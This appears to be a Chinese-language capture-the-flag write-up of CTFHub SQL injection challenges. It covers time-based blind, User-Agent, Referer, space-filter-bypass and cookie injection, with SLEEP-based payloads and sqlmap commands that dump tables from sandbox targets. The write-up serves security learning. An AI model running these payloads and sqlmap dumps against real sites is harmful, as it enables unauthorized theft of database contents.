sqlmap的使用
1 | 判断是否有注入点 |
时间盲注
原理是通过构造带有时间延迟函数的恶意 SQL 语句,根据目标服务器的响应时间差异来判断注入的 SQL 语句是否执行成功,从而逐步推断数据库中的信息。
1 | 1' AND IF(条件, SLEEP(5), 0)-- |
含义是:如果 “条件” 为真,则数据库会暂停 5 秒再响应;如果为假,则立即响应。
- 若响应延迟了 5 秒,说明 “条件” 为真;
- 若响应无明显延迟,说明 “条件” 为假。
通过不断调整 “条件”,逐步猜出数据库的结构和数据
例如,判断数据库名的第一个字符是否为 ‘a’:
1 | 1' AND IF(ASCII(SUBSTR(DATABASE(),1,1))=97, SLEEP(5), 0)-- |
(注:ASCII('a')的结果为 97,若延迟 5 秒则说明第一个字符是 ‘a’)
实战
/image-20250726214510197.png)
使用工具sqlmap
python sqlmap.py -u "http://challenge-d86fe39a047bbb2b.sandbox.ctfhub.com:10800/?id=1" --dbs
/image-20250726215600046.png)
/image-20250726220533133.png)
python sqlmap.py -u "http://challenge-d86fe39a047bbb2b.sandbox.ctfhub.com:10800/?id=1" -D sqli --tables
/image-20250726221449155.png)
/image-20250726221214821.png)
python sqlmap.py -u "http://challenge-d86fe39a047bbb2b.sandbox.ctfhub.com:10800/?id=1" -D sqli --T flag --column --dump
/image-20250726224643512.png)
UA注入
User-Agent是 HTTP 请求头的一部分,用于标识发送请求的客户端的信息
1 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 |
Web 应用可能会记录User-Agent信息,例如存入数据库
实战
/image-20250726224244695.png)
/image-20250726224449520.png)
使用sqlmap
python sqlmap.py -u "http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800" --level 3 --dbs
/image-20250726224622315.png)
/image-20250726225116516.png)
python sqlmap.py -u "http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800" --level 3 -D sqli --tables
/image-20250726225212751.png)
python sqlmap.py -u "http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800" --level 3 -D sqli -T rginmdejsd --columns
/image-20250726225429564.png)
python sqlmap.py -u "http://challenge-1eddeef28b3c5ec1.sandbox.ctfhub.com:10800" --level 3 -D sqli -T rginmdejsd -C bjaytlddwg --dump
/image-20250726225525458.png)
Refer注入
Referer是 HTTP 请求头的一个字段,用于标识当前请求是从哪个 URL 跳转过来的。例如:
- 当你从
https://example.com/pageA点击链接进入https://example.com/pageB时,pageB的请求头中Referer字段值就是https://example.com/pageA。
实战
/image-20250726225620236.png)
查询数据库名
/image-20250726230526587.png)
查询数据表名
/image-20250726230744386.png)
查询字段名
/image-20250726231113047.png)
获得字段信息
/image-20250726231250880.png)
过滤空格
滤过空格的方法 /**/、()、%0a
sqlmap中的: space2comment.py
作用:用注释/**/替换空格字符’ ‘
实战
/image-20250726231658218.png)
python sqlmap.py -u "http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1" --dbs --tamper "space2comment.py"
/image-20250726233336917.png)
/image-20250726233304200.png)
python sqlmap.py -u "http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1" -D "sqli" --tables --tamper "space2comment.py"
/image-20250726234829647.png)
/image-20250726234749361.png)
python sqlmap.py -u "http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1" -D "sqli" -T ispxqemjbi --columns --tamper "space2comment.py"
/image-20250727000857393.png)
/image-20250727000118406.png)
python sqlmap.py -u "http://challenge-6aa8be4b5bf8ca26.sandbox.ctfhub.com:10800/?id=1" -D "sqli" -T ispxqemjbi -C llyxssifoc --dump --tamper "space2comment.py"
Cookie注入
实战
/image-20250726232756412.png)
/image-20250726233110073.png)
测试一下
/image-20250726233242429.png)
使用order by判断字段数量
当order by 3时,无回显,那么字段数量为2列
/image-20250726233826547.png)
union select 1,2未发现数据
/image-20250726233955504.png)
database(),查看数据库名
/image-20250726234124271.png)
查看全部数据库名
/image-20250726234204253.png)
查sqli中的表名
/image-20250726234333975.png)
查看ywjyfeexys表中的全部字段名
/image-20250726234537477.png)
看数据gyaycaommy中的内容
/image-20250726234702053.png)